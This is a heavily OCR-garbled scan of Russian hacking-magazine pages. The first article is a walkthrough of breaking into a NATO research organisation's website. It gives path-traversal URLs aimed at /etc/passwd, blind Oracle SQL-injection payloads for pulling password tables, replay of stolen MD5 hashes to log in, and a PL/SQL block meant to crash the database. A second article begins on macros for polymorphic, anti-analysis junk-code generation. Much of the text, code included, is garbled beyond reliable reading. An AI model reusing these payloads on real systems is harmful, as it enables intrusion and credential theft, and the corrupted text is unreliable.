* -*ц-6жп\ьфи&л!*ф1.
!Р;[" {**й!*|вфи|*
ятАсо|]РАт п*{@ядц.ф
;ф 0чень страннь!е ошибки на сайте Фстэк _ могут ли
Б'Ё они привести к несанкционированному доступу?
о15а11ош: /тахо/
!1за11ош: /!ат|а}1ев.азр
9|за11ош: /уаг]аь1е5. азр
!]за11ош: /уос.ьсп
о!5а11ош: /\рп.ьсп1
Р1за11ош: /шеьпа'1.азр
!|эа11ош: /уо!тш5.аБр
5{[епар : ьс!р: //м. гсо.пасо. {п!/5]сепар.п1
Ёаписаннь;й явно не в 2010 году' этот плеводитель в мир конфи-
денциальной информации Р10 содер;<ит в себе дахе указание на
конкретнь:й файл, которь;й можно скачать и посмотреть [р{р.рр|]. Ёадо
ли говорить о необходимости использования п![{о для сканирова-
ния типовь!х каталогов, если они ухе весьма <(удачно>> перечислень!
администратором веб-сайта? Ради спортивного интереса' мь! все хе
запустим п![1о и проверим, кто вь|играл:
_ ш]к|о у2.оз/2.о4
+ таг9е[ 1Р: 62.2з.2оо.67
+ таг9е[ но5[папе: м.г[о.па[о.!пс
+ таг9ес Рогс: 80
+ 5[аг! т]'пе: 2010-05-08 14:00:15
+ 9етует: птА шеь 5егуег
_ /тоьос5.схс - соп[а'пв 47 'о|5а11ош' епсг1е5 шь{сь
в}:оц1ё бе папоа11у у!ешео. (овт)
_ А1]ошео нттР ме!ьоё5; оРттош9, твАсв, свт, нЁАо
+ о5уов_877: нттР песьо6 ('А11ош' Ёеа6ет): '!РА₠Б'
15 еур1са11у оп1у ш5еа {ог ёебш99|п9 апё в}тоц1ё 5е
ё|ва51её. 1}:|з пеэза9е аое5 пос пеап ]-с !5 ш]'пегаь1е
со х5т.
_ Рц51!с нттР месьоо5: оРт1ош5, тРАсв, свт, нвАо,
Ро5т
+ Ф$!!Б_877: нттР пе[ьоё ('Рпб]1с' неасег): '1ЁА₠Ё'
!з гур|са11у оп1у шэеё !ог 6ебш99|п9 ап6 9|ош1ё бе
61ваБ1её. ть15 пез5а9е оое5 пос пеап 1с' 1э ш1пегаь1е
го х$т.
осо
!Ф5
12
1з
1в
+ о5уов_0: вта9 ьеасег 'оцп6 оп
0х703 6ссаоа14са1 : 18ь2
+ о5уов_з092: свт /5!сепар.ю1 :
1'5с'п9 ог [ье 5'се сопсепс.
+ з577 1[епз сьескеа: 49 |сеп(5)
5егтет, !|е16в:
ть]3 9]уез а п1се
герогсео оп тепосе
ьо5|
+ !;по '1',1пе :201о_05-08 14:49 :54 (2979 зесоп6з)
+ 1 ьо5!(5) !е5еес
те5е орс'оп5: _₠о|ё|гз
-ьо5! м.г['о.па!о.|пс
а11 _у|оэ|. м.г!о'па!о. |пс
м. г!о. па!о . ;пс
) о51
BemeP34 for Journal-plaza.net
тоы5 нф
| Ф | ьФ,1***.'ь.паь.!пчма!п.а5р?{орс=..!'.!..!../'.!..!..|.'!..|..|..|екФаэзнё
иь3|неааьез 0 Рог6!еАррв,соп \ РшьььАфБ.с0п},|е..
Р&[ 9цап!я{|оп
Ёопе
6епега[ 0осцпеп|а!|оп
Р1Ф Ас1!у!1|ез
Р1Ф Ёо{цге [уеп1з
5еагсБ 5с|еп!!6с РцБ[|са!!опз
ш]Ё^^]! п.};ь,'Ё^_ га_}.а.
Ёет, конечно' такого файла в \А|!пёошз
Ап егог оссцгеа оп [}:е зегуег ту[эп Ргосе!6!пв Ё}Р цп|-. Р]6а5а соп[ас[
Ёьэ 5!Ёеп афтг!п!зЁга[ог а[ }чаь!па51₠'₠г[а.па[о.!пЁ.
нет' 3ато ошибка !-Р| в скрипте есть
3ь:играл все-таки администратор сайта (еще бь;' он точно знает про
сайт 6ольше, чем п![1о :)]' вь;разим ему благодарность за отличнь!й
справочник по скрь1ть!м страницам.1ак, например' запись шебгпа]|
а5р дает нам доступ к внутренней почтовой системе' а запись
0е1а|[.азр 6ез всяких сканеров подсказь1вает нам проверить уязвимо_
сти ввода в соответствующем сценарии ве6-сервера.
['1араллельно ползая по сайц и проверяя все "61за[[ош,) записи в
гобо1з.1х1, подключим шебзсагаб' 8 его хурналах после хохдения по
,,сайтам'' часто встречаются неохиданнь!е (вкусности>' о которь!е
мохно почесать зубь зч[пар'у и тм3а{'у. 1олько заговорили об этом'
и тг хе - хлоп' центральнь:й скрипт' которь:й принимает занима
тельнь:й параметр "1ор!сз". 0нень интереснь!м он оказь!вается' если
подставить в качесгве топика э]о! хе самь:й скри:п:
п|ср : / /м. гсо. пасо. |п[ /ма|п. азр?[ор1с=ма|п. а5р
['1ри этом, если файл имеет расширение .А5Р, то он интерпретирует-
ся [например, если мь1 подставим "[:4а!п.аэр" в качестве параметра
0нлайн-трансформер бинарнь:х даннь!х в вА5Ё64
и о6ратно
|ор!с, то веб-сервер уйдет в 6есконечнь;й цикл, демонстрируя нам
зазеркалье - бесконечнь:е влохения \4'а!п.азр в самого себя' а если
мь! укахем только что найденнь:й *р[р'рр1"' то получим его бинарное
содерхи мое.
Ёще одна мелочь... в нашу свинскую копилку.1ебе' наш дорогой нита
тель' мь! оставляем возмохность попробовать комбинации следующе_
го вида:
ь[ср://м.гсо.па[о.1пг.,/ма'п.а5р?сор]с-. . / .. /.. /.' /'.
/.. /.. /.. / .. /'./. . /е[с/ра33шо
0пАс!-г вс[м0гущий, 0пАс!-[ нЁп0Бпдимый
!хе онень долго существует миф о том, нто веб-прилохения, по_
строеннь!е с бек-эндом в виде [}Б.[ 0гас[е' неуязвимь! к таким
атакам как 50|-инъекции и !55' йиф о невозмохности инъекции в
0гас[е появился из-за функции базь; даннь:х использовать метку-
заполнитель - при подготовке залроса оператор указь!вает места
[именуя или нумеруя их]' где будут впоследствии размещень! входнь!е
даннь е 50|-запроса' |о на то он и миф. ятобь: его кто-нибудь раз_
(онцепция.сетецентринеской войнь:, появилась в [[..]А в начале
1 990-х годов. 8 соответствии с данной гонцепцией предусматри-
вается внедрение в войска передовь;х информационнь!х технологий
для того, нтобь: объединять рассредоточеннь:е в обширном боевом
пространстве разнороднь!е силь! и средства [личнь;й состав' органь!
и пункть! управления, 6оевого обеспечения, воорухение и военную
технику наземного' воздушного и морского 6азирования}. 06ъеди-
нение долхно происходить информационно - с формированием
слохной сетевой архитекцрь!, с подключением к сети интернет.
Американцьп охидают, нто боевая эффективность формирования с
сетевой архитектурой по сравнению с существующими возрастет
многократно. !,4нь:ми словами, о6мен даннь:ми мехду потреби-
телями будет осуществляться в реальном масштабе времени не
только <по вертикали>>, но и <<по горизонтали,.1аким образом' все
участники смоцт получить всестороннюю информацию о состоянии
на поле боя. (онцепция ведения боевь:хдействий в едином инфор-
мационном пространстве предполагает создание системь! передачи
даннь:х, о6еспенивающей покрь;тие нео6ходимой территории
театра военнь!х действий в лю6ое время.
) о52 х^квР 08 /1 з9, 1 0
BemeP34 for Journal-plaza.net
х 6 !Ф!'ф пггф -'
!|* Ф ь{ой ш{{&!!оп ь!6
Рвп!а.| / ьп'ой ы
%...ь 5.|.пвлс ьь&.!оп!
|*,а!ё ф !'!а|фьл.2 сф. ф|.@|
!я.ф1
!5вш 'п.9?.0з5.015.6
0нсш5п[о ш!ю
мто п.'т.ь ша т&ь.оы опФ|.!оо
(.хс!!а.! Фрро.!л| п.{ы.! $... .рэ!с.ъь)
ть. мф Р.{.кь в т*ьпо!8 о.в.п!!.ноп
пе !Ато пе*а6 апа тфп{4у о/9а.!яфп (п_о)
Р!ошв5 ап6 Фп6!св Ф.оЁ.а!!!е 'аеп!'!с .₠5етф
.п6 ехфщё о| ффп!6! !п{опа6оп апфз'! 28 !^то
паноп5 Ф6 38 цто раф.Б. пе ьц.3| $ф
фшф|а{уе ьоФ !п фР юй, ф вто епфпРБ'е9
о!е. зо0о 3с!ёп6'в апс еп.|пёеБ аф.69!щ фе фпР!е1е юк о' ф'е.Ф
!еффщ|е5 аоа ок.:0опа| 6опа!п'. пъ е'{оп ъ 'цРРгь( ьу ап ехФ|!у.
а!епФ, ш. па'.а'ф апо тефпощу Ав.п9 (птА)' фа! 'аа{!ьФ5 фе фиьоганоп
ьу овап|5!п8 а й6ё .ащё о' 9фа]е5, ю*!ьоР!, 5щРоз!а, ап6 оФе. {ошпз |п
й|ф |е3.а.феБ еп пе.!.о6 ехфапзе иф!6зе.
:::
м
!!
,4
Б!!ь
щ
ё5 нФ пр
Ё} впР пр
с5 нпр пр
пФ...сь 0т.сьпоь9 0о..6
фо!.6уф].!.т.сьлоьу
н!п.п г.с!ов0 м.6(...
1л|о.п.0о! 5гьл9 т.сьпо|Ф
5я1.п ь1я!9 0 5!!4.9
5я!.л!со.с.рв8 !п| '..воп
5.п'ов & !|.с!оп{.! т..ь.оьв
мто моаё!0л! а 5]ф!ь{оп
|пьпнф щФ.!
;;;;;;ъ;;;;ь';;;;;;;;;;;;;;;;ь ;;-?;]#
пп ъ а 8фа! рв6!₠ 1о' пе ф .реа* а! фа ача| н!зп !п5!ш!е 'о. ое'пФ. йь
8геа! |п9пфпоп фп гаФ 16 [Фв ьа* леаф 18оща6' ап{ пацо[!в !.а!!ф9
епац.. йау. в!!а! фе 'ше нпе, фа паш.а о' в.{а.е апа фпп|с[ ьа5 еуо[уе6
фпы6егфф' апс ие Расео{ фа!₠!ош||оп Фп{п!е' Ф а@ъ.аф.
хо опё кпм и6 ф|ь!пу йа! ье {ць₠ ьош5 |п ;Ф.е, ьц! ! Фп'16епф р₠6!с!
фа! пащ о1 фе п|!!ьц рё!Фппе| !л ьь аца|епе йц 9вп{ п!ф о{ фе[ |цш.₠
саг₠е6 оп !оге!вп !еР0п!пв' 5оФе о' 0₠п й[ 6еРьу оп орега(!оп9 зп6
пъ5!оп! !пае. па{опа!Фппапа' ьш| пщ ицаво сфщ !пое. фе ффпап6 о'
фе 0.!Ф6 шэ!оп9, о' ф. Ёш.оРеап 0п!оп, о.хАто.
д |в 5ё6е6ц сепе.а|, ! ап .ё3рп51ь|ё |ог пак|.8 !![е фа! мто ь рюреф
!!цсФ.е6, шорё'у ёчц!рРф, Фпр!Ф!у |п!е.орегаь!е' ап6'0щ е'{к&е.
|...1
йь: внутри и мо}!(ем посмотреть на военную 1айну!
рушил [правильное понимание причин появление уязвимости - вот
залог возмохности разрушения стереотипов). [1роблемь: с воз-
мохностью возникновения 50|-инъекции на самом деле залохень!
не столько в базе даннь:х' сколько в программе-оболочке. которая
реализует взаимодействие с пользователем.,|ля проверки достаточно
ведь использовать несколько прость!х приемов. Ёапример' добавлять
к параметрам строку вида <+ог+сБг[77]=сбг[77],. [4'спользование функ-
ции с[г[) позволяет избехать указания одинарнь1х кавь!чек, которь!е
нещадно фильтруются.
[,4менно это является прининой возникновения возмохности проведе-
ния <слепой> иньекции на сайте 8[0. 8от. например, запрос с такой
инъекцией;
метод <<научного тыка>> :
п! ср : / /м. тсо . па[о . |пс /оеса| 1 . аэр? то= _
1+от+с\т 11'7 ) =с|ут |7'7 )
работаем с суБд огас1е:
ьс ер: / /м. гео . па[о . 1п[ /ое[а' 1 . а5р? 1!= -
1 +от+ 1 = ( 9п!Ёст+1+ЁРом+!т-]А! )
6обственно' с помощью этой уязвимости мь! и узнали' что сзади
[бас[еп6] установлена [!Б.[ 0гас|е, а не !х:1у50| или 50|!1е {кстати'
в ней тохе возмохно провести 50|-инъекцию - мь: писали об этом
в майском номере)' 8идимо, ЁА10вские программисть! слишком по-
лохились на безопасность 0гас[е и за6ь:ли элементарнь!е правила
6езопасного секса. А зря! 0дна только книхка про оракловский аудит
от [4'льи йедведовского и его сотрудников чего только стоит.
[лепая инъекция, конечно, потребовала от нас некоторь:хусилий
по автоматизации процесса' Благо, бабушкина подшивка хурнала
.[акер, за прошль:й год помогла - в ней оказалось все' что нухно
для создания скриптов на Рег[. йь: дахе смогли бь:стро составить
два 3апроса - один определяет длину строки' которую мь! хотим
<(вь!тащить>> из базь: даннь;х' а второй вь!таскивает один символ из
этой строки:
а} запрос для получения длинь! строки:
ь|[р : / /м. гсо . па.о . ]пс /оеса' 1 .
а5р?1о=_1+оР+ ( 5е1ес!+1еп9[}т ( [а|1е_
папе) +{топ+!5ег [аь1е5+шьеге+' ?здвсь условив
хАкЁР 08 /1з9/ 10
|-лавная страница сайта нАт0 с главной 8оенной
1айной внутри
зАпРосАъ' +Ашо+гошцп=1) =вздвсь длинА, котоРую пРовв_
Рявмъ
6) запрос для получения строки [здесь конкретно _ имени столбца в
указанной таблице):
ьс|р: ,/,/ш. гсо . па! о . |пс / ое|а| 1 . а5р? то=_
1 +оР+ ( 3е1 ес [ + 5ць5с г ( со1цш_папе, в здвсь лозиция символА
в имвни столБцАв, 1) +'гош+а11-| аь_со11ш5+шьеге+с аь1е_
пше=' . вздЁсь имя тАБлицы?. ' +Ашо+ ' вздвсь условив зАпРо
сА? ' +Аш'+гошпцп=1 ) =спг ( ?номвР символА8 )
.[,ля того' нтобь: полунить только первую строку с даннь!ми из всего
запроса, мь! воспользовались ключевь!м словом гои/п|]п диалекта
50|-базь даннь:х 0гас[е' с помощью которого мохно определять
условие над ухе собраннь;м на6ором строк с вь!ходнь!ми даннь!ми.
/]спользование всевозмохнь!х технологий ускорения <слепого>) пере-
6ора оставляем для тренировки :]. Ёсть, правда' один очень 6ольшой
минус - это количество таблиц |в том числе слухебнь;х) в базах
0гас[е' 8слепую вь!таскивать всю схему таблиц - титанинеский труд'
поэтому мь! интересовались только таблицами' в названии которь1х
есть магическое слово "РА55!!0Ё0". Ёа рисунке приведена схема с
наиболее интереснь!ми таблицами и столбцами. |а диске к хурналу ть!
найдешь скрипть!, которь!ми мохно пополнить эц схему ,).
6реди довольно большого набора таблиц наиболее интереснь!ми
кахутся вот эти:
нто_мвмввн5 . мЁмввР_РА95{{оР!
кто_РАшв|. РАшБ!_РА55шово
{-]$ЁР_ов_!1шк3 . РА551,,]оРо
соштАст!ос ]ш. с!о_РА9 5шоРо
АРР|]сАттош|остш. РА$5шоРо
соштАст. с|о_РА55шоРо
3начения даннь!х' которь!е в них хранятся' впечатляют не меньше' чем
операция .Анаконда, коалиционнь!х войск в Афганистане.
1_15ЁкшАмЁ: РтАмА5твР
РА59!,]опг: агоору
|8_!11х1( : тв5т. РтА. 1шт
1-]9вРшАмв: ш]5в
> о5з
BemeP34 for Journal-plaza.net
овап|9!!оп
шпепь(|оп
Ас1'!6е!
г!!0гс [9елв
3азеркалье - бесконечное вложение
|,0| !цап!я!|оп
5еа.сь5с!еп|,6сР0ьшса!!оп5 [!опе
.'{а6опа10!'иь0{!опсеп[ге5 6епега!0ос!Феп!а!'оп
п&т сооЁ|й||оп
пто Ас||у!с!е!
пе!еагсь & тесьпоьву воа.а пто г0[ц.е [уепь
5са.сь 5с!еп!|пс Р!ь0саЁоп5
ша6опа(ы5т!ь!!!оп септе3
к&т сф.ё!м!!оп
пе5еагсь & тесьпо[о* 8оа.а
шаЁопа{ соога!па!о'5
&езеагс[:0 |есБпо[о4
!п'о.па[|оп5$[еп5тесьпо|о8у соога;па1,оп6.оцр
5уз|еп ма[у'|9 а 5[ц6!е5
тфьп|Ф[ Рапе!'
5уз|еп5 сопсерь & !п{езга{!оп АрРшеа уеь!с(е тесьпо!оу
[т1а!п.азр в себя самого
6госР
}.{Ато 5'{Апт
.п'о@!'оп ма1а8ешп[
|п'огпа6оп мапа9епеп!
сопп!((ее
п&т овап|я[!оп
нопе
6епега[ 0осцпеп
Р]Ф Ас [1у|:!ез
пто г0[цге [уеп!
ь 5с!ел!{';с р0ь(са|!оп1
о5!г|ь!Ё|оп сел}е5
сфга|в1!оп
& тссьпо(о9 воа.а
& 1ес}тпо(о9
уеь!с[е тесьпо|о9у
гассо.5 & меа!с!пе
5у5[еп' тесьпо{о9
Апа[у'!3 8 5{ц6'е5
сопсерь а !п(е8га!'оп
& [(ес{.оп|с5 тесьпо[ояу
& 5!п0!а!!оп
|.1о6с1[!щ & 5!по!а[!оп
8&т овап!Ё(!оп
нопе
6епега! 0о.шпеп!а!!оп
Р1@ Ас й{:|ез
пто г0!!.е &епв
5еа.сь 5с!еп6пс Рць('са6оп5
}'{аЁопа[ 0!5иь!6оп сеп(ге'
п8т сФгё!м|!оп
яе5еагсь & тесьпо|оу воага
ша|!опа! соо.а'па[ог5
пе'еа.сь &тесьпо1ову
соога|па6оп 6го0р
тфьп!ф! Рапе!'
Арр6е6 уеь,с[е тесьпо1о9
н0пап гас|ов & меа!с|пе
!п'огпа!,оп 5у5!еп3 тесьпо!оу
5у5(еп Апа(у5'5 & 5{ца!е9
5у5(еп9 сопсерь а !п!е9.а!!оп
5еп5оБ 8 ₠!есиоп|с' тесьпо[о9
,.{оао||;пв & 5!п0|а{!оп
шАто моае!шпе а 5;п0(а[!оп
сго0р
п&т овап|я1!оп
нопе
6епега( ьс0пеп!.!|оп
Р[6 Ас:!у|с!ез
пто г01ш.е гуель
ша6опа( соог6|па!ог5
пе5еагсь & тесьпо[ову
соо.а1па6оп 6го0р
тфьп!ф! Рапе!5
фр1!еа уеь|с|е тесьпо!о9
н0пап гас(ог5 а меа!с!пе
п'&т овап!я!!о.
нопе
6епе/а[ 0осцпеп|а!'оп
Р]Ф Ас{!у|!!ез
пто г0!0ге ₠юпь
5еагсь 5с{еп[,'!с Рць[;са!!оп5
па|]опа( ш!иь!!!оп сепие5
п8т сфга!Ф|!оп
пе5еагсь а тесьпо[о9 воага
651
8ахньгми столбцами из листинга для нас являются "рапе[_шеьпагпе"
и ''рапе[ ра55шог6"' последний хранит м05 хеши паролей. [1олунаем
все хеши и ставим их на античатовский 6рут- (ак правило' на этом за-
канчиваются все стандартнь!е взломь!' но мь{ пойдем дальше'
пР0вгРкА нА д0Р0гАх
!осцп к закрь!ть!м зонам веб-сайта мохно п0лучить' если автори-
зоваться под паролем любого участника или сотрудника Р10. [ля
ащентификации бь:ла использована технология''5!\о|г 5!о[\!-0ш"'
которая позволяет использовать любь!е другие пароли от аналогичнь!х
хранилищ информации:
Р1еа3е ашгьепс|сасе со ассе55 ыеь5||'е
апа |ье нто со11аьога[|уе епу{гоппеп[.
со11аьотас'уе епу|гошеп[ стеаеп['а13
рго!ессеа агеа5
1-]5е уошг Рто
ог [ье вто
9епег]с сгесеп||а15 [о 1о9 оп.
['1онятие <единого входа>' о котором талдь1чат !-]А_[0вские програм'
мерь!' изначально предполагает' что в разнь!х местах пользователь
мохет использовать один вь!даннь!й ему логин/пароль. здесь хе это
понятие сводится к тому' что в одном месте (на сайте] мохно ис-
пользовать пароли от нескольких других мест.1аким образом' о6щая
безопасность находится на уровне самого слабого сайта' пароли от
которого могут бь!ть введень! в пт0.\Ат0.]шт-
Раз ух пароли используют чуть ли не из мусорного бака, не стоит ли
нам повнимательнее посмотреть' как они передаются на сервер? тут
начинается самое интересное. 0казь!вается' поля пользовательского
ввода логина и пароля перед отправкой обрабать;ваются с помощью
.!ама5сг!р|-функции. для того, чтобь! это чудо инхенерной мь!сли
случилось, к основному Ё1й| подклюнен файл гп65..]з' которь:й пред-
ставляет собой ничто иное как реализацию алгоритма й05 компанией,:
Р5А 0а1а 5есшг!|у [они, кстати, являются основнь!ми защитниками
информации для ЁА10вских ресурсов]. 8 конце этого файла есть за_
х^кЁР 08 /1з9/ 10
BemeP34 for Journal-plaza.net
ф и( ц₠ш н9ь.у фФаь 1ооь цф
6 ! |ьф:/|'шп'.ь.па|о.!п!дап.аФ?!фс='./.',../
|.' |.. |'. |.. |.. |,' |.' |е\с|ра*на
1)а|а}азе |,о9 |п Ра!|е6
1$5 Б ша61е :о сошес{ [о ае5ЁпаЁф. Ба1!6 1}'{5 а6&еэз я:ррЁе6 с 6езйа:|оп !з ао: |!ясыф. 11х|з ыс са а|зо осш 6есаш:е о{ш6а$й9 пепуФк {гатоп р!оь1ш.
\:с!|у :[а: йе 1}.{5 ше й:[е сшес|зЁй9 агу о|:!е !А! {с 1[|з !!&[ !з та116 а6 т!е 6аиБде 1!зтшт !з шй9.
}пс! йинус один главнь|й сайт
мечательная фун кция ртш2п65[!п_рш, оц1_гп05|' которая и вь!зь!вается
при отправке логина и пароля обратно на сайт:
<{огп асс|оп="сьеск|аеп| .а5р" пе!ьоо="ро5с''
папе="{гп1о9оп" оп90ьп|с=''ге|цгп 5еп6оа!а( ) ; ">
{цпс!1оп Бепаоа!а ( )
{
уат говм = оос!пеп[.!гп1о9оп;
рш2п65 ( гоРм. мепьегмаскьац, гокм. мепьегмаскьац )
ге[цгп стце;
)
1еперь посмотрим на саму функцию ртм2гп05[!. 0на принимает на вход
пароль в чистом виде' вь!числяет \405 от него, конвертирует полу_
ченное 6инарное '1 6-байтовое значение в 8А5Ё64-представление и
запись!вает в вь:ходной параметр.
п65. ] э:
*.\.]ауа5сг|р[ |]пр1еп]еп[ас1о: о! [}те Р'5д- 'а]:а
$есшг||у, 1пс. мо5 ме55а9е
* !|9е5[ А19ог1[ьп, аз 0е!{пе0 1п Ргс 1з21.
* 1./ег3{оп 2.1 соруг{9п[ (с) Рац1 ;|оип5|оп 1999
'2оо2.
* огпег соп|г1ьц[ог5; сгео но1[, Апоге!'; керег[,
то]1аг, !о5[|пе!:
* о] 5|г1ьц[ес] цттс]ег [}те в5! [|сё115е
* 5ее ь[[р:: /ра]!:опе.ог9.!и,/сгур.'/!|е5 ! ог по:е |::|о.
* 1]'. ! 1 1!е | ьос] а:с]с]ес1 ]эу тп]п]:т:т:
г0псс|оп рш2па5(раБ5шого, по5ра5зшотс) {
по5ра35шого.уа1це = б64_п65 (ра55шого.уа1ше) +'=="'
// ра5517огс] .уа1це - "'';
)
1акой изумительнь:й картоннь:й расклад означает, что нам ЁЁ Ё!)(!-]0
взламь1вать хеши [х:105! 8место этого мь! мохем просто подставить
значение из 6азьп даннь:х прямо в форму отправки!.0,ля этого вос-
пользуемся онлайн-трансформером 8А5Ё64, предварительно сделав
бинарнь:й файл с байтами й05 хеша одного из пользователей.
|4'спользуя го1оь [.соп' получаем следующие даРнь!е:
1}5БР\А]у1Б: ]31
РА5 91'0ФР| : Ао2 г3 8Авв7 вз 1 62о8з2 62 4о^'7 6 9 в з со2
БА5Б64 : г584гце2г;2о']1таар9809==
х^квР 08 /1 з97 1 0
,[альше нам очень пригодится веб-браузер йо:][[а Р!ге[ох и его ком-
понент 1апрег0а|а' чтобь! подставить налец в Р051 запрос вместо
о6ь:чнь:х й05 свои даннь!е' честно подсмотреннь!е в базе. 3то доволь-
но тривиальнь:й процесс' посмотреть на примерь! мохно в докумен-
тации к компоненц 1агпрег0а[а... ['1одставляем, проверяем, давим
кнопку.['1ослать>>... и, как говорится в анекдоте, (детей не лю6лю' но
сам процесс!". йтак, мь; внщри!
с0лдАт, вь!йти и3 стР0я!
3се бь; ничего' если бь: нас не хгла мь!сль о том, что слепой 50| -
это не что иное' как консоль к базе даннь:х. 8едь с 6!Б.[ 0гас[е мохно
творить такое, что никакому 50|!1е и йу50| и не снилось [здесь мь:
уль:баемся и машем Александру ['1олякову' автору книги.Безопас-
ность 0гас[е глазами аудитора>' а такхе 10е{епзе |абь' - не знаю,
кто бь:л первь;й в обнарухении этой уязвимости]. Ёаш увахаемь:й
коллега опись!вает, как мохно использовать досцп к процедуре х0в'
х0в Р!тп!с_Рко.Р!тп!с_0п0РмгтА0АтА' доступной для вь!полне-
ния любому пользователю 6азь; даннь;х' !,4спользуя эц уязвимость в
109 мохно вь!звать переполнение буфера' и слухба 0гас[е аварийно
завершит свою рабоц' ]ак что' как только нам надоест 6аловаться с
доступом к закрь!ть!м секциям сайта' мь! делаем следующее:
аес 1аге
а уагсьаг2 \32767);
ь уагсьаг2 (3216'/\;
ье9|п
а : =' хххххххххххххххххххххххххххххххх'
ь : =' уууууууууууууууууууууууууууууууу'
а::а! !а; а: а| |а; а:-а1 ]а; ё:-ё| |ё; ё
а:=а]!а;
б:=5 1!б;
Б:=б! б;
хгв - хов Р1тР1с_Ркс . Р ттР'тс_!РоРмвтА|АтА ( а
епа ;
['1осле того' как мь! запишем этот вь!зов в одну длинную строку запроса
и вставим на место нашей слепой инье[ции' мь! смохем увидеть вот
такую картинку
к0нБц св[тА
Разговорь: про сетецентрические войнь! и ведение информационной
войнь: - это' конечно' хорошо. 0днако опь:т показь!вает, что прость!х
разговоров мало - ух если мь! анализируем сайть! наших ЁА]0вских
<союзников>, то и они, наверное. от нас не отстают. на этом фоне
очень огорчает наличие аналогичнь!х про6лем с безопасностью на на-
ших отечественнь!х государственнь!х сайтах. 8от' например' на сайте
Федеральной слухбь: технинеского и экспортного контроля |которая со
следующего года будет защищать наши персональнь:е даннь:е]' при
слствуют все те хе <<мелкие)' про6лемь!.
.[а яего ух' если порно ролики на дорохнь!х билл6ордах [адового
кольца хакерь! крдят,!. |о' все-таки. хотя 6ь: законодатели в о6ласти
информационной 6езопасности долхнь1 относиться к своим ресурсам
ответственно. йначе на кого хе мь! будем равняться? 5
) 055
BemeP34 for Journal-plaza.net
!
: ] "не|{м {|1 а" ёп6 <пу оёа1ь,
мугАция к0ш в0 вРБмя
к0мпиляции
{.ъ
[4так. мне кажется. я до6ился отличньгх результатов. ведь у меня с
блеском получилось реализовать: полиморфизм {генерация мусор_
ного кода)' метаморфинг {замена инструкций аналогами)' пермгацию
[слунайное перемешивание 6локов кода с сохранением функционала и
логики ра6оть:], обфускацию [метод запдь:ва ния логики кода, противо-
действие анализу]' контроль целостности кода (для защить! от измене-
ния' ра1сБ'ей], шифрование кода и даннь1х. Рандомизация кода слухит
для защить! от автоматических распаковщиков' анализаторов' патчей'
обфускация - для запугь!вания исследователя; при достаточной обфу-
скации анализ программь! мохет затянгься на долгие месяць;''. [ватит
болтовни' присцпим!
0хвА11вг Рпш0
['1ервонанально следует нап исать генератор псевдослунай нь!х чисел -
сердце любого двихка рандомизации кода. |енератор я взял простой'
наподобие А\5! [, для моих целей е! о вполне хватапо.
гпс5ееа - 100500
пасго гап6оп|:е {
гап6вееё = гапа5ееа * 110з515245 + 72з45
гапа5еес - (гап65ее6 / 655з6) поа 0х100000000
гпспцп = гап0зее6 апа 0хгггггРгг
)
Работает он исправно' но, так как инициализирующее значение по-
стоянно' кахдь;й раз, при кахдой компиляции 6удет вь:дана одна и
) о56
та хе последовательность чисел. ['1осле недолгих раздумий и чтения
официального форума' я нашел значение, которь!м мохно завести ге-
нератор - это 1!гпе5{апр' !\!|_время' ['1олунить его мохно вот таким
о6разом: гап0вее6 = %[. генерировать слунайное числ0' к примери
в диапазоне 0 - 0х0ЁА0' теперь мохно так:
гап6оп|:е
гап0оп_пцпбег = гп6пцп поо 0ховАо _ 1
0хвА0с00г или ггнгРАция мус0РА
.0,ля нанала' попробуем написать макрос для генерации простой
инструкции - !п1. 8остоит !п{ из двух байт - опкода 0х[0 и номера
прерь!вания, которь:й и будет слунаен. ['1олунаем номер прерь!вания:
гап0оп|:е
|п[-уа1 = гп6пшп поа 0хгг
,!алее п ишем следующую незаурядную конструкцию:
оь 0хсо
6Б пшп
[1ока все просто. 0формив эти 4 строки в отдельнь:й макрос 9еп-!п| и
вь!звав несколько раз, убехдаемся с помощью отладчика или дизас-
сем6лера' нто коддействительнослунайнь!й; гер| 7 { 9еп-1п[ }'
!,4 вот что получилось:
х^к₠Р 08 /1з9/ 10
BemeP34 for Journal-plaza.net
3атаившийся в бинарном мусоре
антиотладоннь:й трюк
са78 ! |пс 0х78
саа6 1 1пс 0ха6
саь4 ! 1пс 0хь4
с636 ! |п[ 0х36
сёес ! |пс 0хес
са6а ! |пс 0х6а
сс68 ! ]пс 0х68
метод гер1 {аэгп'а вь:полняет код указанное количество раз. 11о-моему,
начало более чем хорошее' нас хдет много интересного. !авай теперь
рассмотрим генерацию инструкции [еа; здесь я хочу осветить несколько
аспектов. [перва нухно завести константь!, соответствующие регистрам
пасго {теете9 {
кввс = шоРЁс
шь']е (Рввс =
] (вввс =
тап8оп1ае
Рв5Р) | (к&Ёс=пввР) | (пРвс=-1)
{_15врвво1) ! (вквс = т_]5воввс2)
РРво = гпап!п поа 8
епё шь']е
)
Регистрь: Ёзр и ЁБр не трогаем' да6ь: не сорвать стековь:й фрейм' 3то
первое' что я хотел осветить. 9тобь: код бь:л похох на произведеннь:й
нормальнь!м компилятором [да6ь: не показь!вать сразу исследователю,
что его водят за нос], следует немного ограничивать фантазию. [1риве-
ду пример на инструкции [еа, которая, как известно' используется для
получения\вь;числения адреса. [1ринимающий регистр 6удет слунай-
нь!м, а как бь:ть со вторь;м операндом? 8озьмем значение в диапазоне
Ёп|ц Ро!п1 - [Ёптц Ро!пт + размер секции кода]' ну или, для простоть!'
возьмем значение 0х'1000. !ля 6ольшего соответствия с нормальнь!м
кодом следует брать адреса из секции даннь!х. йакрос' генерирующий
инструкцию [еа по правилам, описаннь!м ранее:
пасто 9еп_1еа {
|гееге9
ге9=(РРЁс*8)+5
гапёоп{:е
аёёге35 = (тпсп!!п поо ( (вштРу-Ротшт + 0х1000 + 1)
_ вштРу-Ро1шт)) + вштРт-Ро]шт
65 0х8!
6Б ге9
ёё а6ётеээ
)
(онстанц вштпу_Р0!шт объявляем заранее:
еп!гу 5сагс
5[аг|:
вштку_Ротшт = $
Али, что п редпочтительнее: вштРу_Ротшт
са, вь]званного несколько раз:
$$. итог работь: макро-
вЁАх
квсх
Рвох
Рввх
Рв5Р
вввР
Рв51
Рвот
=0;А!
=4;Ан
=6;он
|.]то6ь: не нарушить рабоц кода, следует учить!вать занять!е регистрь!'
3аведем переменнь!е, хранящие их:
шоРвс = _1
{]3ЁвРвс1 = шоквс
[]5вопвс2 = шоРво
Рвво = шоквс
7]х мохет 6ь:ть сколько угодно - зависит от логики работь; программь:,
логики работь! генератора и строения блока кода. !ихе представлен
макрос, генерирующий слунайнь:й регистр, не учить!вая занять:е' [1с-
пользовать будем только как источник.
пасго гп0те9 {
